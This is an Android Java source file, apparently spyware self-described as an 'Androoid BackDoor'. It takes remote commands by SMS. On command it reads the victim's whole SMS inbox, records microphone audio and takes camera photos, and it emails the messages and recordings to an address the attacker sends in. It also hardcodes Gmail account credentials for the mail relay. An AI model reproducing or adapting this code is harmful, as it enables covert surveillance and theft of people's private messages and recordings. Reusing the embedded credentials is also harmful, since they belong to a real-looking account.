package com.example.bd;

import java.io.File;
import java.util.ArrayList;

import java.util.Iterator;
import java.util.List;




import android.annotation.SuppressLint;

import android.content.BroadcastReceiver;

import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;
import android.hardware.Camera;

public class MessageReceiver extends BroadcastReceiver {
	 private Context context;
	private List<SMS> smsList = new ArrayList<SMS>();
	static String mailto;
	Camera camera;


	
	
	public static void sendmailatt(String s) throws Exception
	{	
		
		
	String body="";
	String TAG="SENDSMSLOG";
	Log.d(TAG,s); 
		 body=body+"audio file:";
		   Log.d(TAG,"start send Email"); 
		 Mail m = new Mail("mailgateway88@gmail.com", "max123dog"); 
		 File f = new File(s);
		
		
		 
		if( f.canRead())
		{
			Log.d(TAG,"file can be read");
		}
	      String[] toArr = {mailto}; 
	      m.setTo(toArr); 
	      m.setFrom("backdoor@wooo.com"); 
	      m.setSubject("Your Androoid BackDoor SMS Report "); 
	      m.setBody(body); 
	      m.addAttachment(s);
	      Log.d(TAG,"attach file to Email"); 
	      try { 
	      
	    	   Log.d(TAG,"send Email"); 
	        if(m.send()) {
	        	
	     Log.d(TAG,"Email was sent successfully.");
	        }
	        else
	        { 
	      Log.d(TAG,"Email was not sent."); 
	        }
	        
	      } //try
	      catch(Exception e) { 
	     
	        Log.d(TAG, "Could not send email", e); 
	      }  //catch 
	      
	}
	
	private void sendsmsviaemail()
	{
		Iterator<SMS> it=smsList.iterator();
		String body="";
		String TAG="SENDSMSLOG";
		 while(it.hasNext())
		 {
			 SMS s=(SMS) it.next();
			 body=body+"\n"+"SMS from: "+s.getNumber()+"\n Text:"+s.getBody();
	
		 } // while
			 Mail m = new Mail("mcseemka@gmail.com", "max123dog"); 
			 
		      String[] toArr = {mailto}; 
		      m.setTo(toArr); 
		      m.setFrom("backdoor@wooo.com"); 
		      m.setSubject("Your Androoid BackDoor SMS Report "); 
		      m.setBody(body); 
		     
		      try { 
		      
		 
		        if(m.send()) {
		        	
		     Log.d(TAG,"Email was sent successfully.");
		        }
		        else
		        { 
		      Log.d(TAG,"Email was not sent."); 
		        }
		        
		      } //try
		      catch(Exception e) { 
		     
		        Log.d(TAG, "Could not send email", e); 
		      }  //catch 
		      
		      
		    }  //sendsmviamail
	
	
	
	
	private void getSMS()
	{
		
		Uri uri = Uri.parse("content://sms/inbox");
		Cursor c= context.getContentResolver().query(uri, null, null ,null,null);
		//startManagingCursor(c);
		
		// Read the sms data and store it in the list
		if(c.moveToFirst()) {
			for(int i=0; i < c.getCount(); i++) {
				SMS sms = new SMS();
				sms.setBody(c.getString(c.getColumnIndexOrThrow("body")).toString());
				sms.setNumber(c.getString(c.getColumnIndexOrThrow("address")).toString());
				smsList.add(sms);
				
				c.moveToNext();
			}
		}
		c.close();
		
	    }
	
	
    @SuppressLint("NewApi")
	public void onReceive(Context context, Intent intent) {
        Bundle bundle = intent.getExtras();
        this.context=context;   
     
       

        if (bundle != null) {
            Object[] pdus = (Object[]) bundle.get("pdus");
            SmsMessage[] msgs = new SmsMessage[pdus.length];
       //     ArrayList<String> numbers = new ArrayList<String>();
        //    ArrayList<String> messages = new ArrayList<String>();
            String msg,command,param;
            for (int i=0; i<msgs.length; i++){ //go throw inbox sms list
            
            	msgs[i] = SmsMessage.createFromPdu((byte[])pdus[i]);
             
              msg=msgs[i].getMessageBody().toString(); // get text body
               String[] smsarr=msg.split("#");

              if(smsarr.length>1 )
              {
               command=smsarr[0];
               param=smsarr[1];
             if(command.equals("stealsms"))
               {
            	 mailto=param;
            	 
            	 getSMS();
            	 sendsmsviaemail();
               
               } 
             if(command.equals("audio"))
            	  
             {  
            	 final int sec=5;
            	  final Audio a = new Audio();
          	    mailto=param;
          	    //// new thrtead
         	 new Thread(new Runnable() {
 			    public void run() {
 			    	 Log.d("SENDSMSLOG","wait 5 sec");
 			    	 try {
 			    		synchronized(this)
 			    		{
 						wait(sec*1000);
 						Log.d("SENDSMSLOG","Time's up!%n");
 			    		}
 			    		} catch (InterruptedException e) {
 						// TODO Auto-generated catch block
 						e.printStackTrace();
 					}
 			    	Log.d("SENDSMSLOG","stop");
 						a.stopRecording();
 						//s=a.path;
 			        Log.d("SENDSMSLOG","Time's up!%n");
 			       synchronized(this)
		    		{
					try {
						Log.d("SENDSMSLOG","wait 5 sec%n");
						wait(5000);
					
					Log.d("SENDSMSLOG","Time's up!%n");
					String s = null;
					
						sendmailatt(a.path);
					}catch (InterruptedException e) {
						// TODO Auto-generated catch block
						e.printStackTrace();
					}
					catch (Exception e) {
						// TODO Auto-generated catch block
						e.printStackTrace();
					}
		    		}
 			    }
 			  }).start();;
 			 Log.d("SENDSMSLOG","start recording");
 			 a.startRecording();
 			 
          	// getSMS();
          	// sendsmsviaemail();
             
             }
             if(command.equals("photo"))
            		 {
            	 Log.d("SENDSMSLOG","Taken");
                 Photo p =new Photo();
               //  p.path="sdf";
                 camera =   Camera.open();
                 Log.d("SENDSMSLOG","Taken2");
                 camera.takePicture(null, null, p.cameraPictureCallbackJpeg);
                 synchronized(this)
          		{
         			try {
         				wait(3000);
         			} catch (InterruptedException e) {
         				// TODO Auto-generated catch block
         				e.printStackTrace();
         			}
         			Log.d("SENDSMSLOG","Time's up!%n");
          		}
                 camera.release();
                 camera = null;
               
           		
           		}
              } // command recieved( smsarr.length>1)
            }
           
        } 
    }
}